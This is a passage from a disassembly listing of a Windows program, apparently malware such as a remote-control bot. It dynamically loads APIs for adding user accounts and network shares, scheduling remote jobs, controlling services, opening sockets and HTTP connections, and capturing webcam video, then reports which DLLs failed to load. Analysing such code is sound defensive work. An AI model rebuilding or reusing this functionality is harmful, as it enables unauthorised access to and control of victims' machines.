		jz	short loc_4064BF
		cmp	eax, ebx
		jnz	short loc_4064C9


loc_4064BF:				; CODE XREF: sub_4061D5+2C4j
					; sub_4061D5+2CCj ...
		mov	dword_43A508, 1


loc_4064C9:				; CODE XREF: sub_4061D5+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43A4DC, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43A4C0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A4DC, ebx
		mov	dword_43A408, eax
		jz	short loc_406504
		cmp	dword_43A4C0, ebx
		jz	short loc_406504
		cmp	eax, ebx
		jnz	short loc_40650E


loc_406504:				; CODE XREF: sub_4061D5+321j
					; sub_4061D5+329j
		mov	dword_43A508, 1


loc_40650E:				; CODE XREF: sub_4061D5+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43A460, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43A4E0, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43A468, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43A484, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43A390, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43A3CC, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43A470, eax
		call	esi	; GetProcAddress
		cmp	dword_43A460, ebx
		mov	dword_43A49C, eax
		jz	short loc_4065B2
		cmp	dword_43A4E0, ebx
		jz	short loc_4065B2
		cmp	dword_43A468, ebx
		jz	short loc_4065B2
		cmp	dword_43A484, ebx
		jz	short loc_4065B2
		cmp	dword_43A390, ebx
		jz	short loc_4065B2
		cmp	dword_43A3CC, ebx
		jz	short loc_4065B2
		cmp	dword_43A470, ebx
		jz	short loc_4065B2
		cmp	eax, ebx
		jnz	short loc_4065BC


loc_4065B2:				; CODE XREF: sub_4061D5+3A7j
					; sub_4061D5+3AFj ...
		mov	dword_43A508, 1


loc_4065BC:				; CODE XREF: sub_4061D5+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43A430, eax
		jnz	short loc_4065E4
		jmp	short loc_4065DA
; ---------------------------------------------------------------------------


loc_4065CF:				; CODE XREF: sub_4061D5+26Aj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A50C, eax


loc_4065DA:				; CODE XREF: sub_4061D5+3F8j
		mov	dword_43A508, 1


loc_4065E4:				; CODE XREF: sub_4061D5+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4066B0
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43A4E4, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43A4B4, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43A418, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43A410, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43A458, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43A32C, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43A428, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43A3C8, eax
		call	esi	; GetProcAddress
		cmp	dword_43A4E4, ebx
		mov	dword_43A41C, eax
		jz	short loc_4066BB
		cmp	dword_43A4B4, ebx
		jz	short loc_4066BB
		cmp	dword_43A418, ebx
		jz	short loc_4066BB
		cmp	dword_43A410, ebx
		jz	short loc_4066BB
		cmp	dword_43A458, ebx
		jz	short loc_4066BB
		cmp	dword_43A32C, ebx
		jz	short loc_4066BB
		cmp	dword_43A428, ebx
		jz	short loc_4066BB
		cmp	dword_43A3C8, ebx
		jz	short loc_4066BB
		cmp	eax, ebx
		jnz	short loc_4066C5
		jmp	short loc_4066BB
; ---------------------------------------------------------------------------


loc_4066B0:				; CODE XREF: sub_4061D5+41Aj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A514, eax


loc_4066BB:				; CODE XREF: sub_4061D5+49Bj
					; sub_4061D5+4A3j ...
		mov	dword_43A510, 1


loc_4066C5:				; CODE XREF: sub_4061D5+4D7j
		mov	ebp, dword_422088
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406981
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43A3AC, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43A314, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43A42C, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43A3F4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43A478, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43A45C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43A4BC, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43A39C, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43A334, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43A34C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43A420, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43A414, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43A4F4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43A4CC, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43A498, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_43A474, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43A438, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43A36C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43A304, eax
		call	esi	; GetProcAddress
		mov	dword_43A328, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43A47C, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43A448, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43A4C8, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43A35C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43A3B8, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43A308, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43A4B8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43A400, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43A494, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43A3E0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3AC, ebx
		mov	dword_43A4B0, eax
		jz	loc_40698C
		cmp	dword_43A314, ebx
		jz	loc_40698C
		cmp	dword_43A42C, ebx
		jz	loc_40698C
		cmp	dword_43A478, ebx
		jz	loc_40698C
		cmp	dword_43A45C, ebx
		jz	loc_40698C
		cmp	dword_43A4BC, ebx
		jz	loc_40698C
		cmp	dword_43A39C, ebx
		jz	loc_40698C
		cmp	dword_43A334, ebx
		jz	loc_40698C
		cmp	dword_43A34C, ebx
		jz	loc_40698C
		cmp	dword_43A420, ebx
		jz	loc_40698C
		cmp	dword_43A414, ebx
		jz	loc_40698C
		cmp	dword_43A4F4, ebx
		jz	loc_40698C
		cmp	dword_43A4CC, ebx
		jz	loc_40698C
		cmp	dword_43A498, ebx
		jz	short loc_40698C
		cmp	dword_43A438, ebx
		jz	short loc_40698C
		cmp	dword_43A36C, ebx
		jz	short loc_40698C
		cmp	dword_43A304, ebx
		jz	short loc_40698C
		cmp	dword_43A328, ebx
		jz	short loc_40698C
		cmp	dword_43A47C, ebx
		jz	short loc_40698C
		cmp	dword_43A448, ebx
		jz	short loc_40698C
		cmp	dword_43A4C8, ebx
		jz	short loc_40698C
		cmp	dword_43A35C, ebx
		jz	short loc_40698C
		cmp	dword_43A3B8, ebx
		jz	short loc_40698C
		cmp	dword_43A308, ebx
		jz	short loc_40698C
		cmp	dword_43A4B8, ebx
		jz	short loc_40698C
		cmp	dword_43A400, ebx
		jz	short loc_40698C
		cmp	dword_43A494, ebx
		jz	short loc_40698C
		cmp	eax, ebx
		jnz	short loc_406996
		jmp	short loc_40698C
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_4061D5+501j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A51C, eax


loc_40698C:				; CODE XREF: sub_4061D5+6A0j
					; sub_4061D5+6ACj ...
		mov	dword_43A518, 1


loc_406996:				; CODE XREF: sub_4061D5+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406A9B
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43A318, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43A4F0, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43A3C4, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43A4EC, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43A3D4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43A338, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43A3A4, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43A310, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43A450, eax
		call	esi	; GetProcAddress
		cmp	dword_43A318, ebx
		mov	ecx, dword_43A338
		mov	dword_43A3FC, eax
		jz	short loc_406A77
		cmp	dword_43A4F0, ebx
		jz	short loc_406A77
		cmp	dword_43A3C4, ebx
		jz	short loc_406A77
		cmp	dword_43A4EC, ebx
		jz	short loc_406A77
		cmp	dword_43A3D4, ebx
		jz	short loc_406A77
		cmp	ecx, ebx
		jz	short loc_406A77
		cmp	dword_43A3A4, ebx
		jz	short loc_406A77
		cmp	dword_43A310, ebx
		jz	short loc_406A77
		cmp	dword_43A450, ebx
		jz	short loc_406A77
		cmp	eax, ebx
		jnz	short loc_406A81


loc_406A77:				; CODE XREF: sub_4061D5+860j
					; sub_4061D5+868j ...
		mov	dword_43A520, 1


loc_406A81:				; CODE XREF: sub_4061D5+8A0j
		cmp	ecx, ebx
		jz	short loc_406AB6
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_43A4E8, eax
		jnz	short loc_406AB6
		jmp	short loc_406AB0
; ---------------------------------------------------------------------------


loc_406A9B:				; CODE XREF: sub_4061D5+7CCj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A524, eax
		mov	dword_43A520, 1


loc_406AB0:				; CODE XREF: sub_4061D5+8C4j
		mov	dword_43A4E8, ebx


loc_406AB6:				; CODE XREF: sub_4061D5+8AEj
					; sub_4061D5+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406B00
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43A3F0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43A424, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3F0, ebx
		mov	dword_43A48C, eax
		jz	short loc_406B0B
		cmp	dword_43A424, ebx
		jz	short loc_406B0B
		cmp	eax, ebx
		jnz	short loc_406B15
		jmp	short loc_406B0B
; ---------------------------------------------------------------------------


loc_406B00:				; CODE XREF: sub_4061D5+8ECj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A52C, eax


loc_406B0B:				; CODE XREF: sub_4061D5+91Bj
					; sub_4061D5+923j ...
		mov	dword_43A528, 1


loc_406B15:				; CODE XREF: sub_4061D5+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406C0B
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43A384, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43A3A0, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43A4A4, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43A348, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43A3D8, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43A30C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43A368, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43A46C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43A37C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43A388, eax
		call	esi	; GetProcAddress
		cmp	dword_43A384, ebx
		mov	dword_43A3B0, eax
		jz	short loc_406C16
		cmp	dword_43A3A0, ebx
		jz	short loc_406C16
		cmp	dword_43A4A4, ebx
		jz	short loc_406C16
		cmp	dword_43A348, ebx
		jz	short loc_406C16
		cmp	dword_43A3D8, ebx
		jz	short loc_406C16
		cmp	dword_43A30C, ebx
		jz	short loc_406C16
		cmp	dword_43A368, ebx
		jz	short loc_406C16
		cmp	dword_43A46C, ebx
		jz	short loc_406C16
		cmp	dword_43A37C, ebx
		jz	short loc_406C16
		cmp	dword_43A388, ebx
		jz	short loc_406C16
		cmp	eax, ebx
		jnz	short loc_406C20
		jmp	short loc_406C16
; ---------------------------------------------------------------------------


loc_406C0B:				; CODE XREF: sub_4061D5+94Bj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A534, eax


loc_406C16:				; CODE XREF: sub_4061D5+9E6j
					; sub_4061D5+9EEj ...
		mov	dword_43A530, 1


loc_406C20:				; CODE XREF: sub_4061D5+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406C55
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43A488, eax
		call	esi	; GetProcAddress
		cmp	dword_43A488, ebx
		mov	dword_43A404, eax
		jz	short loc_406C60
		cmp	eax, ebx
		jnz	short loc_406C6A
		jmp	short loc_406C60
; ---------------------------------------------------------------------------


loc_406C55:				; CODE XREF: sub_4061D5+A56j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A53C, eax


loc_406C60:				; CODE XREF: sub_4061D5+A78j
					; sub_4061D5+A7Ej
		mov	dword_43A538, 1


loc_406C6A:				; CODE XREF: sub_4061D5+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406C9F
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43A3A8, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3A8, ebx
		mov	dword_43A40C, eax
		jz	short loc_406CAA
		cmp	eax, ebx
		jnz	short loc_406CB4
		jmp	short loc_406CAA
; ---------------------------------------------------------------------------


loc_406C9F:				; CODE XREF: sub_4061D5+AA0j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A544, eax


loc_406CAA:				; CODE XREF: sub_4061D5+AC2j
					; sub_4061D5+AC8j
		mov	dword_43A540, 1


loc_406CB4:				; CODE XREF: sub_4061D5+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406D13
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43A444, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43A4D8, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43A378, eax
		call	esi	; GetProcAddress
		cmp	dword_43A444, ebx
		mov	dword_43A330, eax
		jz	short loc_406D1E
		cmp	dword_43A4D8, ebx
		jz	short loc_406D1E
		cmp	dword_43A378, ebx
		jz	short loc_406D1E
		cmp	eax, ebx
		jnz	short loc_406D28
		jmp	short loc_406D1E
; ---------------------------------------------------------------------------


loc_406D13:				; CODE XREF: sub_4061D5+AEAj
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A54C, eax


loc_406D1E:				; CODE XREF: sub_4061D5+B26j
					; sub_4061D5+B2Ej ...
		mov	dword_43A548, 1


loc_406D28:				; CODE XREF: sub_4061D5+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406D5D
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43A4AC, eax
		call	esi	; GetProcAddress
		cmp	dword_43A4AC, ebx
		mov	dword_43A370, eax
		jz	short loc_406D68
		cmp	eax, ebx
		jnz	short loc_406D72
		jmp	short loc_406D68
; ---------------------------------------------------------------------------


loc_406D5D:				; CODE XREF: sub_4061D5+B5Ej
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A554, eax


loc_406D68:				; CODE XREF: sub_4061D5+B80j
					; sub_4061D5+B86j
		mov	dword_43A550, 1


loc_406D72:				; CODE XREF: sub_4061D5+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406DFB
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43A490, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43A354, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43A4A8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43A3C0, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43A454, eax
		call	esi	; GetProcAddress
		cmp	dword_43A490, ebx
		mov	dword_43A364, eax
		jz	short loc_406E06
		cmp	dword_43A354, ebx
		jz	short loc_406E06
		cmp	dword_43A4A8, ebx
		jz	short loc_406E06
		cmp	dword_43A3C0, ebx
		jz	short loc_406E06
		cmp	dword_43A454, ebx
		jz	short loc_406E06
		cmp	eax, ebx
		jnz	short loc_406E10
		jmp	short loc_406E06
; ---------------------------------------------------------------------------


loc_406DFB:				; CODE XREF: sub_4061D5+BA8j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A55C, eax


loc_406E06:				; CODE XREF: sub_4061D5+BFEj
					; sub_4061D5+C06j ...
		mov	dword_43A558, 1


loc_406E10:				; CODE XREF: sub_4061D5+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406E45
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43A3D0, eax
		call	esi	; GetProcAddress
		cmp	dword_43A3D0, ebx
		mov	dword_43A434, eax
		jz	short loc_406E50
		cmp	eax, ebx
		jnz	short loc_406E5A
		jmp	short loc_406E50
; ---------------------------------------------------------------------------


loc_406E45:				; CODE XREF: sub_4061D5+C46j
		call	dword_422004	; RtlGetLastWin32Error
		mov	dword_43A564, eax


loc_406E50:				; CODE XREF: sub_4061D5+C68j
					; sub_4061D5+C6Ej
		mov	dword_43A560, 1


loc_406E5A:				; CODE XREF: sub_4061D5+C6Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4061D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E62	proc near		; CODE XREF: sub_409806+4CB8p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43A4F8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_406EAA
		push	dword_43A4FC
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406EAA:				; CODE XREF: sub_406E62+1Aj
		cmp	dword_43A500, esi
		jz	short loc_406EDE
		push	dword_43A504
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406EDE:				; CODE XREF: sub_406E62+4Ej
		cmp	dword_43A508, esi
		jz	short loc_406F12
		push	dword_43A50C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406F12:				; CODE XREF: sub_406E62+82j
		cmp	dword_43A510, esi
		jz	short loc_406F46
		push	dword_43A514
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406F46:				; CODE XREF: sub_406E62+B6j
		cmp	dword_43A518, esi
		jz	short loc_406F7A
		push	dword_43A51C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406F7A:				; CODE XREF: sub_406E62+EAj
		cmp	dword_43A520, esi
		jz	short loc_406FAE
		push	dword_43A524
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406FAE:				; CODE XREF: sub_406E62+11Ej
		cmp	dword_43A528, esi
		jz	short loc_406FE2
		push	dword_43A52C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_406FE2:				; CODE XREF: sub_406E62+152j
		cmp	dword_43A530, esi
		jz	short loc_407016
		push	dword_43A534
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_407016:				; CODE XREF: sub_406E62+186j
		cmp	dword_43A538, esi
		jz	short loc_40704A
		push	dword_43A53C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_40704A:				; CODE XREF: sub_406E62+1BAj
		cmp	dword_43A540, esi
		jz	short loc_40707E
		push	dword_43A544
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20


loc_40707B:				; DATA XREF: .text:00431804o
					; .text:00431818o ...
		add	esp, 20h


loc_40707E:				; CODE XREF: sub_406E62+1EEj
		cmp	dword_43A548, esi
		jz	short loc_4070B2
		push	dword_43A54C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_4070B2:				; CODE XREF: sub_406E62+222j
		cmp	dword_43A550, esi
		jz	short loc_4070E6
		push	dword_43A554
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_4070E6:				; CODE XREF: sub_406E62+256j
		cmp	dword_43A558, esi
		jz	short loc_40711A
		push	dword_43A55C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_416905
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 20h


loc_40711A:				; CODE XREF: sub_406E62+28Aj
		cmp	dword_43A560, esi
